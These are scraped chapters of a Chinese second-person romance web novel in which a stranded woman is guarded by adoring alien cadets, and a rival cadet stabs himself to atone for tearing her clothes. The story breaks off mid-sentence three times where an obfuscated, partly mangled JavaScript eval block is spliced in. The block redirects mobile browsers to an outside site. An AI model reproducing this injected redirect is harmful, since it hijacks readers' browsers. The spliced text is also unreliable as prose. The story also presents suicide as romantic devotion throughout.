当然,这个“累”字形容的并不是每隔十分钟就会停下休息的你的身体,而是你每分每秒都在承受过于细致的关注的精神,毕竟你的呼吸只要稍微急促一些,或者咳嗽一声,皱一皱眉,就能听到一连串扑到你耳边的关切声。 “小姐,您有哪里不舒服吗?” “小姐,您需要休息一会儿吗?” “小姐,您渴了吗?” “小姐,您……” “不用了,我没事。”你迅速地摇了摇头,唯恐慢一秒,他们就直接原地安营扎寨了,就像之前的五六次一样,你甚至怀疑这一个多小时的路程里,你们没能走出一千米。 虽然有些“得了便宜还卖乖”的嫌疑,但你还是忍不住腹诽——再这样下去,你们什么时候才能离开森林呢?你还想在天色暗下来之前找个地方洗漱一下呢。 不能再这样下去了!你要拿出女人的魄力来! 你看向身边为你拨开树枝的高大身影,轻声呼唤他的名字:“那罗斯特。” “我在,”那罗斯特停住脚步,躬下腰,低沉的声线温和而平缓,“小姐,您有什么吩咐吗?” 那罗斯特很高,即使俯下身,你也无法平视他的眼睛,只能自下而上地看到睫毛阴影外那半枚灿金的日轮,以及里面细锥模样的漆黑瞳仁。 其他人也安静地看向你,听候你的吩咐。 “我不想走了。”你说。 那罗斯特露出意为“理应如此”的表情:“那我们休息一会。” “可我也不想待在这儿,”你朝那罗斯特伸出手,指尖搭在他的肩膀上,“你能带我过去吗?” 那罗斯特的呼吸骤然停滞,直到他视野里的你眨了下眼,他才找回自己的呼吸节奏。 面对你,这个问题有且仅有一个令他深感荣幸的答案。 “当然。”那罗斯特单膝跪在你的脚边,展开自己的臂弯,示意你可以在他的身上选择任意一个你喜欢的位置。 你垂眼看向他。 身姿挺拔的少年像一座安静的小山,沉稳,可靠,只有露在黑色发隙外透着粉色的耳廓,能看出他心里的不平静,看出他不过是个还在读书的少年。 对不起了,你在心里为自己“骚扰小男生”的行为检讨了一秒,就扶着那罗斯特的肩膀,趴在了他宽阔的背上。 “好了,”你环着那罗斯特的脖颈,嘴唇离他的左耳很近,“我们走吧。” 你五感的敏锐度在地球人类中无疑是正常的,但对于能被选入联盟军校的那罗斯特来说,就十分迟钝了,所以你闻不到自己身上柔和甜蜜的味道,也没能感受到自己呼出的温热气息,给这位血气方刚的小伙子带去了多么严酷而甜蜜的折磨,更没有发现他的身体有片刻的紧绷。 你只听到那罗斯特很轻地“嗯”了一声,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447058|169424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及滚动的喉结轻轻蹭过你手臂内侧时,带出的那一片细密的痒。 那罗斯特结实的小臂勾住你的腿弯,隔着一层睡裤,你都能感受到他肌肉的硬度,有些硌人。在确定你已经稳当地抓住他后,那罗斯特握紧自己戴着半截手套的手掌,缓缓站起身,将你背了起来。 骤然拔高的视野让你有些紧张,下意识地抓紧了那罗斯特的衣领,也将碰到树枝的头往他的肩窝处埋了埋。 因为你的靠近,那罗斯特的脸变得更红了,但受限于角度,你不仅没有察觉到这个变化,也没有发现其他人眼中不能用“嫉妒”两个字轻易形容的复杂神色。 “我们出发了。”那罗斯特提醒你。 你刚点了两下头,那罗斯特就如离弦之箭般冲了出去,猎猎风声在你的耳边呼啸而过,带走不等你看清就模糊着倒退消逝的林景。 这速度是普通人类能达到的吗?你连忙将脸彻底地埋进那罗斯特的肩窝里,避免被扑面而来的狂风吹成面瘫,毕竟上一次你有类似的体验,还是在高速上打开了车窗。 不知过了五分钟还是十分钟,第二小队的成员们在森林的边缘停下了脚步。 “小姐,”沉沉的、听不出任何气喘的声音在离你很近的地方响起,“我们到平原区了。” 你抬起头。 明亮的阳光铺天盖地地扑向你,将你的眼底和一望无际的绿草地照得熠熠生辉,溪水般淌过你脸颊的微风卷着细碎草叶吹向远方,只留下浸透空气的草木清香包裹着你。 你深呼吸一道,神清气爽。 “让我下来吧。”你拍了拍那罗斯特的肩膀。 “是。”那罗斯特顺从地屈膝蹲下,松开手,让你能稳稳地跳到松软的草地上。 你绕到他的面前,诚挚地向他道谢:“谢谢你,那罗斯特,辛苦你了。” 那罗斯特还没有站起来,但他的视线并没有比站着的你低多少,自下而上地看向你时,浓黑的眉毛挡住了一部分深陷眼窝的上眼睑和金色的兽瞳,让他本就深邃的五官显得更加冷峻。 “不辛苦,”你轻飘飘的身躯并没有给那罗斯特带去任何负担,他坦诚道,“这是我的荣耀。” 事实上,那罗斯特觉得你过于轻了,按照联盟公民的身高体重比换算,你至少还要再重20kg,才能勉强脱离“极度虚弱”,进入“营养不良”的范畴。 但是那罗斯特不会告诉你他心中的想法,因为他笃定这一定会引起你的反感,让你觉得他是个会对女性指手画脚的变态。 你并不清楚那罗斯特百转千回的心思,你的心思已经被不远处蜿蜒的清澈河水吸引,卷入一个个小小的浪花了。 你好想洗个澡啊。 5. 05 沐浴事件 你走到河边。 因为地势平缓的原因,河流淌得很慢,泛着粼粼波光的水比你想象中的要清澈许多,你可以轻易地看清楚河底沉积的石沙和青绿色的水草,以及一些摇曳着彩色鳞尾的小鱼。 “这里的水我可以直接碰吗?”你谨慎地看向跟在你身后的西尼亚。 吃一堑长一智,你绝不会让自己再经历一次不堪回首的“蓝雾事件”,而且你也发现作为地球古人的自己和他们有着质的区别,脆弱非常,稍不注意就有可能失去生命。 “可以,”西尼亚点头,柔软的金发跟着他的动作轻轻晃动,折射出比河面更璀璨的光色,“昨天经过这里的时候,我们检测过水质。” 那就好,你松了一口气,蹲下身,伸手舀了一捧水。 河水有些凉,但正好是在这种天气会让你觉得舒服的温度,你晃动手腕搅乱湖面,层层涟漪破开你的倒影,一圈一圈,荡开好远,惊动了那些悠闲的小鱼。 但那些小鱼不仅没有被吓得乱跑,还像是发现了什么好玩的东西般,纷纷抖动鱼鳍,涌入你的倒影中。 你吓得缩回了手:“……这些鱼有毒吗?它们不会咬我吧?” “它们有无毒鱼的特征,但受制于环境,无法确定它们是否具有毒素和攻击性,”西尼亚蹲到你身边,伸手抓住了一条有着赤红尾鳍的小鱼,垂眼观察起来,“嗯,确实是无毒无攻击性的。” 就这么直接伸手去抓?这种检测方式也太简单粗暴了吧!你一时不知道该做出什么反应,只直愣愣地看着他手里扑腾着的红色小鱼。 西尼亚却误会了你的眼神,将鱼捞出水面,捧到你面前。 “小姐,您要摸一下吗?”西尼亚献宝般看着你,期待又紧张,倒映着你眉眼的绿眼睛水光盈盈,胜过他身旁真正的河流。 你怎么拒绝得了这样真诚的眼神呢? “好呀,”你伸出食指轻轻抚摸了一下小鱼,滑溜溜的,“真可爱,不过我们还是把它放回水里吧,感觉它已经很缺水了。” 西尼亚点了点头,按照你的吩咐将鱼放入水中。 原来小姐喜欢这种鱼,西尼亚想,返程时带一些回去好了。 你并不知道西尼亚在想着,只知道在确定这条河的安全性后,你非常想立刻清洁一下自己。 当然,脱衣服下水这种事是不可能的,哪怕你信任这群年轻的学生,知道他们是绝不会冒犯你的君子。 还是随便擦一下吧,你想,速战速决,不让自己尴尬,也不给他们添麻烦。 “西尼亚,”你不太好意思地侧头看向他,“我想擦洗一下,你们有可以当毛巾的东西吗?不用特别好的东西,能用就可以了。” 来到这个世界之前,你正因为台风的缘故在家休息,身上除了卫衣、睡裤和袜子,就只有贴身穿着的内衣裤,实在找不到东西可以代替毛巾了。 至于不要毛巾,直接舀水拍在身上的方法则在冒出后不久就被你否决了——如果水把你身上轻薄透气的夏款衣服弄湿,湿淋淋地粘在你身上,那你宁可一直脏下去,臭死总比社死强一些。 可你没有想到,你字斟句酌的、非常正常的话刚说出来,面前那张白嫩嫩的脸就“腾”地一下红透了,仿佛他刚刚听到了什么极其下流的、令他无法承受的羞耻言论。 “我……我,小姐,您,”西尼亚迅速眨了几下眼睛,金色的睫毛忽闪,“请您等我一下,我这就去准备。” 说完,西尼亚便像一只刚刚学会走路的金毛幼犬,踉跄着跑向正在搭建临时营地的三人。 看着他匆匆离去的背影,你怀疑自己刚刚说的不是让他帮你找毛巾,而是邀请他共浴,拜托他帮你擦背了。 不然西尼亚的反应太大了些。 同样察觉到这一点的还有出于道德,压抑着五感和探知能力,不知道你们说了些什么的三位队员。但即使西尼亚顶着一张羞耻欲死的红脸,他们也不觉得过错方有可能是完美无缺的你。 “你竟然让小姐一个人孤零零地待在那里,”德罗拉皱起眉,担忧地看向一个人蹲在河边的你,对西尼亚的语气相当恶劣,“你想死吗?” 德罗拉根本不在乎发生了什么,他只在乎结果,而结果就是西尼亚对你无礼了,这是他绝对不允许的,如果不是担心突如其来的打斗会惊扰到你,德罗拉已经摸向刀柄的手现在就该抽出利刃,砍向西尼亚了。 霖则稍微冷静一点,也更冷酷一些:“小姐想要你吃那条鱼?就算是生吃,也并不是什么难事,你不该拒绝小姐的指令,更不该离开她的身边,西尼亚,你的骑士精神呢?作为同伴,我为你感到耻辱。” 霖知道西尼亚讨厌水生生物的味道,但他不认为这种心理障碍,可以作为理由掩盖他极其错误的行为。 那罗斯特没有说话,但他看向西尼亚的眼神也明晃晃地铺满了不认可的质问——你怎么敢如此对待小姐? 那罗斯特放下手里刚刚徒手掰开的树干,拍了拍浮灰,准备去到你身边,诚恳地向你致歉,祈求你的原谅。 “别过去,”终于缓过神来的西尼亚伸手拦住那罗斯特,急切道,“小姐要沐浴。” 那罗斯特立刻停住了脚步,他难以置信地侧头看向西尼亚:“什么……” “是的,小姐要沐浴,”西尼亚说着话,脸又烫了起来,“她要我来拿毛巾。” 他的声音越来越轻,到最后一个字落地时,已经连灰尘都震不动了。 但对于同样脸红起来的三位队友来说,西尼亚的声音简直震耳欲聋。 “……对不起,西尼亚,我收回之前对你的指责。”霖想象了一下你亲口对他说自己要沐浴的画面,不认为自己的反应会比西尼亚好多少。 德罗拉缓缓收回搭在刀柄上的手,碍于自己的骄傲,他没有像霖那样向西尼亚道歉,但他所想的和霖是一样的。 “没有毛巾,”没有哪位参加生存类考核的学生会带这种东西,那罗斯特迅速回忆了一下他们持有的物资,“只有医用贴布。” 医用贴布是一种类似纱布的医疗用品,联盟科研院赋予了它止血、修复等功能,虽然简陋,但比起其他诸如刀具和枪械的东西,这已经是最接近“毛巾”的东西了。 西尼亚点头:“那我去拿。” “等等,”霖喊住他,“你直接把物资包拿过去,对了,记得把危险品清理出来。” “嗯。” 西尼亚迅速回到正无聊得用手指拨动河面的你身边,将装满物资的背包放在你伸手可及的地方:“小姐,抱歉,我们没有带毛巾,您可以随意选择物品代替。” “噢,对了,”西尼亚一回到你身边,思维就有些短路,这会儿才想起向你介绍医用贴布,“这个是医用贴布,它是这些东西里最接近毛巾的用具。” 西尼亚贴心地撕开医用贴布的防水层,将这个看上去就像肉色丝巾的方布放在背包的最上面。 “谢谢。”你仰着脸朝他笑,感谢他的细心。 “您太体恤了,这是我应该做的,”西尼亚听到了自己失序的、激烈的心跳声,他连忙低下头,不敢再直视你的笑颜,“我先退下了……如果您还需要什么东西,可以随时呼喊我们的名字。” “好的,谢谢。”你点点头,目送他走向已经搭建完毕的营地,和三道身穿作战服的高大身影一起背对着你。 真是绅士啊,你想着,放心地长舒一口气,脱下鞋袜,卷起衣袖和裤腿,用浸透河水的医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447059|169424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用贴布擦拭肌肤。 正愉悦地清洗自己的你,并不知道第二小队的成员们正在经历他们人生迄今为止、唯一能与昨夜的“蓝雾事件”并肩的严酷考验——为了避免看到你神圣的身体,犯下罄竹难书的、将被自己及整个联盟唾弃的罪行,他们必须闭上眼睛、背过身躯,但作为你的守卫者,他们又必须保证你的安全——为此,他们不得不放开自己的听觉感知能力,倾听你的动静,确保你没有落水,或者被突如其来的危险伤害。 曾令联盟军校与他们自己满意的听力和分析能力,此刻成为了让他们无比痛苦的折磨。 因为他们可以清晰地听到衣料摩擦的声音,听到你碰到清凉河水时小小的吸气声,听到沾着水的贴布在你的肌肤上滑动的声音,听到你愉悦的、即使刻意压抑也不住地往他们耳道和心间钻的喟叹声。 这是何等残忍的、惨无人道的、令他们身心崩溃的酷刑? 更让他们绝望的,是他们的身体竟然、竟敢有了可耻的反应! 他们不敢想象,如果你知道了这样污秽的事情,会如何对待他们——如果只是斥责、惩罚、让他们去死,这是完全正确、理所当然且可以接受的,可如果你这样温柔和善的小姐,对他们露出了厌弃的表情,说出“我永远不想再看见你们”之类的话——他们不敢想象这样恐怖的事情。 “……怎么办?”西尼亚原本清朗的声音低哑着,颤抖地响起。 这里没有镇定剂,以他们的身体素质,这种反应一时半会儿根本无法消退。 “不知道,”霖看着远处的树林,眼神都有些失焦,“如果有人能代替我守护小姐,我现在就去自杀谢罪。” 德罗拉很轻地点了一下头,他在察觉到身体变化后的两三秒,就想拔刀自刎了,但是他没有将想法实践,因为你恐怕讨厌血腥,也暂时需要他这个罪人的护卫。 那罗斯特猛地站起身:“……我去摘一些檀罗,昨天遇见小姐的时候我看到树林里有。” 檀罗是一种强毒性的植物,它能麻痹使用者的躯体,即使是那罗斯特这样强健的身体素质,也不免被它毒倒十分钟。 “好主意,”霖迅速明白了那罗斯特的意思,“檀罗虽然有毒,但是它可以迅速影响人体机能。” 西尼亚立刻道:“那罗斯特,多摘一些。” 那罗斯特沉默地点了下头,可下一秒,他本该迈向森林的脚步,就迅速后撤,避开一颗差点射穿他心脏的子弹。 他身边的三人也敏锐地避开了其他来自不同方向的子弹。 “敌袭,西北方……”那罗斯特习惯性地分析局势,但他很快意识到,比起自保和反击,他更应该保护你。 可即使第二小队的队员们反应再快,也快不过早就做好准备、同样出身于联盟军校的对立考生们。 “■■?” 摘下通讯器的你突然听到了一句带着戏谑的陌生男声,随之而来的,是一道冰冷的、迅速贴到你脖颈上的寒光。 你看到了一张艳丽至极的脸。 红色的短发带着湿气乱翘,宛如一片凝滞的火光,而那之下嵌着的、与之截然相反的蓝色,则像是深冬结冰的湖泊,透着令人颤抖的寒气,以及凛冽而诡异的美感。 与初遇时的那罗斯特不同,眼前的人并没有因为你的女性外表而放过你,甚至露出了珍宝被人玷污的厌恶神情。 “■■■?” 如果你戴着通讯器,就会知道,他这句话的意思是什么。 ——哪个杂碎制作的你? 拜亚德此生最厌恶的,就是那些制作女性仿生人满足自己肮脏欲念的杂碎。 如果不是你眼里涌起的泪光,他的匕首现在就已经割下了你的头颅。 6. 06 沟通障碍 第二小队的成员们此生第一次感觉到血液凝结成冰的彻骨寒冷。 原来被你厌弃的痛苦与绝望,远不及亲眼看到你生死一线时,他们感受到的万万分之一。 他们顾不上维持自己谦卑恭谨的形象,一边防备那些从隐秘方向突现的袭击,一边朝你身旁的拜亚德怒吼着什么,透露出他们原本的、你不曾了解的凶悍与暴烈。 联盟军校盛产冷酷无情的利刃与凶狠残暴的猛兽。 但他们却不敢靠近你与拜亚德,即使你们之间的距离并不是很远。 作为联盟军校的同学,他们很了解拜亚德,知道他是个心性恶劣的家伙,直接冲过去,说不定会激活他的施虐欲,直接毁掉他眼里只是仿生人的你,以达到让你的主人、第二小队崩溃的目的。 “■■■■(他们竟然说你不是仿生人),”拜亚德咧出一口森森白牙,匕首的刃面微微上压,逼迫你随着他的动作抬头与他对视,“■■(你不是吗)?” “■,■■■■■,■■(啧,你们竟然为了一个仿生人说出这种大不敬的谎话,真是该死)。”身着作战服的身影从树林中跃出,带着扎成一束的银色长发和呼啸的拳风攻向第二小队。 “■■■■■,■■■■(女性怎么可能会出现在这里,你们的大脑被□□摧毁了吗)?”紫瞳的少年抽出双刃,阴沉着脸走向战场,他绝不会放过这些狂妄的罪人。 “咔哒”一声细响后,黑发的狙击手再次上膛:“■,■■■■(垃圾们,去地狱里赎罪吧)。” 离开通讯器的你根本不知道这群外星人在说什么,当然,你也无暇思考这些,你全部的注意力都被脖子上的凉意夺走了。 德罗拉的刀可以轻易砍到一棵树粗壮的树干,这个人的匕首恐怕也不会逊色多少。 所以你不敢说话,也不敢动,连呼吸都被压抑得轻缓,唯恐那柄紧贴着你脖颈的利刃会破开你的皮肤,夺走你的性命。 可你控制得了自己的行动,却控制不了恐惧催生的生理反应。 溢出眼眶的泪水划过你的脸颊,滴落在寒芒凛冽的刃面上,溅起小小水花。 本该稳如磐石的匕首被一滴泪砸得回缩,拜尔德惊讶地看向自己的手,这越过他个人意志做出的动作让他匪夷所思,茫然地后退了半步。 你当然发现了他的失神和变化。 你误以为他是听懂了第二小队的解释,才会放过同为人类的、可怜的你,你松了一口气,想捡起地上的通讯器戴上,彻底解除这场误会,可你刚弯下腰,因惊惧而紧绷的肌肉便抽搐起来,害你不受控地跌向身后波光粼粼的河流。 拜亚德下意识去抓你,但没有控制力道的手刚抓住你的衣服,就撕裂了这产自落后文明的轻薄衣料。 彻底坠入河水之前,你看到了一张爬满震惊的脸。 不过很快,这张脸的主人就被赶来的德罗拉踹下了河,你也在呛水之前被有力的臂膀捞上了岸。 “■(小姐)!”将你带上岸的霖慌乱地看着你,清润的声音几乎变调。 你入水的时间不超过半秒,但死亡的恐惧,还是让你不可避免地受到了惊吓。 极度缺乏安全感的你缩在霖的怀里,手紧紧攥着他的作战服,大口大口地喘息,不受控地颤抖流泪。 你为什么要受到这样过分地对待? 你想不明白,委屈极了,哭了好一会儿才缓过劲来。 因为你的泪水,刚刚还满怀暴虐杀意的两支小队都压抑着动手的欲望,担忧而无措地看着你,小心翼翼地保持着绝对的安静,避免再次吓到你。 惊恐消退,你后知后觉地感到愤怒和羞赧,你转头恨恨地瞪了一眼自己爬上岸、湿漉漉地跪在旁边的拜亚德,然后拽了拽手里一直攥着的衣服,看向盛满疼惜和愧疚的深蓝色眼眸:“霖,你能把这件衣服借给我吗?” “■■(当然)。”霖迅速脱下了自己作战服,盖在你的肩上。 他们早就发现了你残破的衣服,但他们不敢贸然提及,担心这会让你难堪,也担心他们献上自己衣服的提议会冒犯到你——没有哪一位女性会接受来自男性的、粗陋卑贱的物品,何况是衣服这样私人的东西,这简直是侮辱。 如果你介意他们看到了你的身体,可以让他们自裁,或者慈悲一些,只是让他们剜去眼睛,无论你做出什么选择,他们都将拥护,立即执行。 你对他们的决心一无所知。 你穿上了霖的衣服,为他量身定制的作战服对你来说过于宽大,几乎可以将大半个你罩住,你不得不撸两把袖子,才能将手伸出袖口,拉上拉链。 与此同时,本就破损不堪的卫衣彻底报废,变成布条堆在你的皮肤和作战服之间,湿淋淋的,一点也不舒服,你伸手从下摆将它扯了出来。 看着湿透的卫衣,你心里的怒火燃烧得更盛了,你赤着脚踩过草地,快步走到那个红头发的家伙面前,愤愤地将衣服砸到了他的脸上,发出“啪”的一声。 浸透河水的衣服变重了许多,但对于拜亚德来说,仍轻柔得像一片细纱,软软地落在他的脸上,带起一片细密的痒,随之而来的,还有衣服上残留的、你的气息,柔软,芬芳,蛊惑人心。 “混蛋!”气息的主人正生气地看着他,水盈盈的眼睛红润润的,“你赔我衣服!” 拜亚德耳边的通讯器闪烁着,将你的话逐字翻译成了联盟通用语。 按照物品本身的价值来说,拜亚德可以赔你很多,一小时换一件也能穿到你寿终正寝,但物品主人尊贵的身份——他已经意识到你是一位真正的人类女性了——让他即使奉上所有财产和自己的性命,也无法偿还万一。 拜亚德理所当然地认为这是你赐给他的、赎罪的机会。 “■■■。”拜亚德深深地低下头,红色的发丝也随之垂下,带动几滴水珠没入青草间。 又是一句你听不懂的联盟通用语,但你分辨得出他脸上和语气里的歉意,所以你猜测这句话的意思是“对不起”。 你心软了。 事实上,你虽然生气,怨怪他让你难堪,但你知道这其实并不完全是他的错——他并没有真正弄伤你,你落水是因为自己没有站稳,衣服的破损也只是因为他想要救你,却好心办了坏事。 于是你深呼吸一道,朝他露出一个温和的笑容,点了点头,示意你已经原谅他了:“嗯。” 然后你就看到他举起匕首,狠狠地扎向了他的心口。 你下意识尖叫,阻止他:“等等!!” 他在做什么?! 他为什么要自杀?! 你反应很快,但对于他的动作来说还是慢了一步,匕首已经插进去了三分之一。 拜亚德抬头仰视你,自下而上地望过来的蓝色眼眸此刻已不再是坚冰,而是绵绵的春水:“■,■■(小姐,您不喜欢这个死法吗)?” 也是,如此轻易而不痛苦的死法实在是太便宜他了,拜亚德反思,应该处以极刑才对。 还好他身体素质不错,以现在的伤势,你还有很长的思考时间,决定如何处置他。 拜亚德拔出匕首,将它放在面前的草地上,静候你的吩咐。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447060|169424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 然而他听到的不是任何一种死法,而是你满是焦急的、慌乱的关怀。 “你疯了吗?!”你扑到他面前,伸手去捂他涌血的伤口,朝其他人喊到,“快救人啊!!” 娇小的手掌压着堆积着厚实肌肉的胸膛,带去柔嫩的触感,拜亚德闻着远比那件湿衣更馥郁的、来自你身体的味道,感到一阵如梦似幻的目眩神迷,低喃道:“■(小姐)……” 您为什么要让他们救我?拜亚德想不明白,他的脑海一片甜蜜的混沌。 其他尚且神智清楚的学生们立刻遵从你的命令,为只要伤势不加重,放着不管也没事的拜亚德处理伤口,当然,他们对拜亚德的脸色并不好,说话的语气也相当不善。 看着眼前的场景,你知道自己刚刚一定误会了红发少年的意思,于是你转身走向你之前擦洗自己的地方,捡起了被你放在鞋袜旁边的通讯器。 沟通障碍就是人与人之间最大的障碍!! 果不其然,重新戴上通讯器的你听到了他们对拜亚德的抱怨—— “谁让你在小姐面前自裁的?” “自裁不会躲远点吗?把血溅到小姐身上了怎么办?她都被你吓到了!” “不可饶恕。” “小姐那样宽厚善良,看到这样的画面心软太正常了!” “拜亚德,你这家伙竟然敢利用小姐的善良!” “罪大恶极。” “小姐的善心不是你活下去的理由,待会儿躲远一点重新死。” “吞炸药吧,死得干净一些,免得小姐看到你的尸体心烦。” …… 你怀疑自己的脑子坏掉了。 这些话是可以对同学、同类说出来的吗?! “你,红头发那位,”你不知道他的名字,只能用他的发色称呼他,“你刚刚不会以为我要你……自杀吧?” 说出“自杀”两个字的时候,你被一种“不可能这么荒谬吧”的念头绊得卡了下壳。 然而现实就是这样荒谬。 拜亚德点了点头,就像你之前对他点头那样,轻而坚定地“嗯”了一声:“我对此毫无异议,小姐。” 千古奇冤!!你怎么可能会是那样残忍的人啊!! “我没有!”你大声道,声音颤抖,带着浓浓的后怕,“我根本没听懂你在说什么,我以为你只是在道歉,我从没有想过让你去死!!” 喊完最后一个字,你的脸上已经爬满了眼泪。 对于生长于和平环境的你来说,害死一条活生生的人命是太严重、太残酷的事情,如果你今天没有拦下他,你未来的人生都将笼罩在这道阴影下。 “让您如此、如此难过,我真是……百死难赎。”拜亚德被你哭得心碎,语无伦次。 你比他更加心碎:“不许再说‘死’这个字!你们谁都不许说!” 认为自己护卫不力,打算将你护送到联盟女性侍奉部门后就去自裁的第二小队陷入沉默,以及与拜亚德同属第六小队的、准备一起用死亡向你请罪的三人也不再说话。 他们齐齐单膝跪下,脸上浮现微妙的、不太理解的神色,仿佛你不让他们去死,是在为难他们。 怎么会有这样不在乎自己生命的人?还是一群? 你绝望得有些头疼。 可你不敢再发脾气,也不敢说什么狠话,因为你害怕他们听不懂其中赌气的成分,立刻血溅当场。 “我没有生气,也没有指责你们的意思,”你努力挤出一个笑容,“真的,一点儿也没有,所以……你们能不能好好活着?” 7. 07 晾衣架 这场风波被你判定为“无伤大雅的小误会”,第二小队和第六小队的成员们也遵从你的决定,与对方握手言和。 至于他们各自心里的真实想法是什么,你没有心思探究,因为你现在急需处理一下自己湿透了的下半身——虽然现在的天气还不错,大概属于这个星球的夏天,但你还是无法接受湿衣服贴着皮肤的黏腻感,尤其是内衣裤这种贴身的东西。 你得找个地方把它们脱下来。 第二小队搭建的临时基地在战斗中毁了大半,只有为你准备的休息间因为格外坚固,幸存了半个框架,像一间有三扇门的木屋,阳光透过暴力造出的豁口,洒落金灿灿的光辉。 “这个应该不会塌吧?”你探头往里看了看,不敢贸然进去。 “不会,”负责建造它的德罗拉看向你,语气轻柔,和你初见他时完全不同,“您现在要进去吗?” 得到德罗拉的保证,你安心许多,点了点头:“我想进去换一下衣服。” 霖的衣服很长,它的下摆可以遮住你一半的大腿,让你即使脱下所有你自己的衣服,也看不出什么端倪。 而且现在的阳光这样好,说不定只要一会儿,你就能晒干你的衣服们,而你只需要在此之前待在这个小小的、有些破烂的庇护所里。 你认为这个计划没有任何问题。 而其他人即使意识到这个计划的问题,也不敢出言表达,唯恐让你觉得他们不够恭顺,企图对你的想法指手画脚。 于是,这些五官敏锐的、即使背过身也能感知到你在做什么的未来军官们初次或再次体会到了来自你的、甜蜜而恐怖的折磨。 “……我去摘一些檀罗。”那罗斯特站起身。 “檀罗?你要这个干什么?”拜亚德倒梳了一把自己的红发,河水将它们一缕缕地顺着动作的方向固定起来,只留下一两绺碎发搭在他光洁的额头上。 他的神思已经完全混乱了,根本没有意识到这是一个可以让他“恢复正常”的好主意,但这也并非难以理解,相对于其他人来说,他的罪孽要更多也更深重,被恐惧与绝望摧毁是很正常的。 但他的三名队友都反应过来了。 “那罗斯特,”抱着枪的黑发狙击手微微抬头,露出藏在细碎刘海下的灰色双眼,“我这里有。” 他扯开作战服上的口袋,从一堆子弹中拿出几颗紫红色的圆形果实,吃下一颗后,沉默地将剩下的分给其他人。 西尼亚吃下分给他的那枚檀罗:“修,你摘这个做什么?” “当子弹。”修闭上眼,感受身体机能被一点点麻痹的感觉。 “这不合规吧?”霖看向他。 “生存类考核还有规矩?”紫罗兰般的眼睛转向霖,搭在肩头的银色长发滑落一簇,散在他相对其他人要更轻薄的背上,“你听说过吗?赛里斯。” 坐在他身边的、膝上放着双刀的少年微微摇头,银色短发像一片乱晃的流苏:“没有,以撒。” “你们俩兄弟眼里有‘规矩’这种东西吗?”德罗拉不屑。 银发紫眸,赛里斯和以撒的五官有着同样的精致,是一对非常罕见的双胞胎。在联盟最新的生殖舱研究统计报告中,这个概率只有0.023%,在联盟军校的历史上,也是独此一家,毕竟双胞胎往往会受精神链接的影响,导致无法通过精神类考核。 以撒很轻地“哼”了一声:“唯独你没有这个资格说我,德罗拉。” “小点声,”那罗斯特已经坐回了刚刚的位置上,提醒他们失礼的行为,“小姐会听见。” 正准备反唇相讥的德罗拉立刻安静下来,双胞胎也不再说话。 看着同学们的行为和变化,拜亚德后知后觉地反应过来檀罗的妙用,果断地吃下了这枚芬芳而甜腻的强毒性果实——就像小姐一样,被毒性影响了大脑的、正常情况下绝不会如此放肆的拜亚德这样想。 你没有那罗斯特口中听得见他们正常的交谈声的听力,对他们之间发生的一切一无所知,你这会儿已经脱下了自己的衣服,正在努力拧干它们身上残余的水分。 做完一切准备的你环顾四周,发现了一件被你忽略但很重要的事情:“……没有地方挂衣服呀。” 你自言自语的声音很轻,但外面的几位都听得非常真切。 “小姐,”霖抬高声音,贴心地询问,“您有什么吩咐吗?” 正苦恼着的你顺着声音望过去,看到了一排或站或坐的、高大挺拔的背影,沐浴在炫目的阳光下,显现出巍峨的气势,其中唯一没有穿作战服的、霖的背影最为扎眼。 裹着黑色背心的劲瘦身躯坐得笔直,轮廓清晰的肌肉线条如山势绵延,衬着他深蓝色的、还带着点点水光的发丝,仿佛一片压在傍晚夜色下的积雪的山脉。 好白哦,你突然意识到眼前的少年们都有着非常白皙细腻的皮肤,不,不只是肤色,他们的面容也都是相当英俊且具有特色的,更不用提宽肩窄腰、目测都在一米九以上的好身材。 联盟军校选学生的时候还会挑形象么?还是这个时代的人类已经进化到了人人都有好颜色的地步? 或许二者兼有,他们才会如此出挑?你不知道,你有些不合时宜地目眩神迷了。 “小姐?”霖听到了你转头时发丝擦过作战服的细响,却没有听到你的声音,理所当然地误以为你没有听清他说的内容,“您有什么吩咐吗?” 他再次微微抬高的声音让你回过神来,你为自己的心猿意马感到尴尬与羞涩。 怎么还能看着人家的身体出神呢?他们还是学生呢!真是不应该。 你甩了甩头,走到了离他们最近的那扇门旁边:“你们有可以挂衣服的架子或者棍子吗,我想晒一下衣服。” 联盟科技发展到现在,已经没有了“晒衣服”这样低效的流程,你的话被通讯器拆解成了“用太阳能烘干衣服中的水分”,通讯器内完备的资讯库还为他们提供了相关解释——“这是多数古老文明常用的干燥手段”。 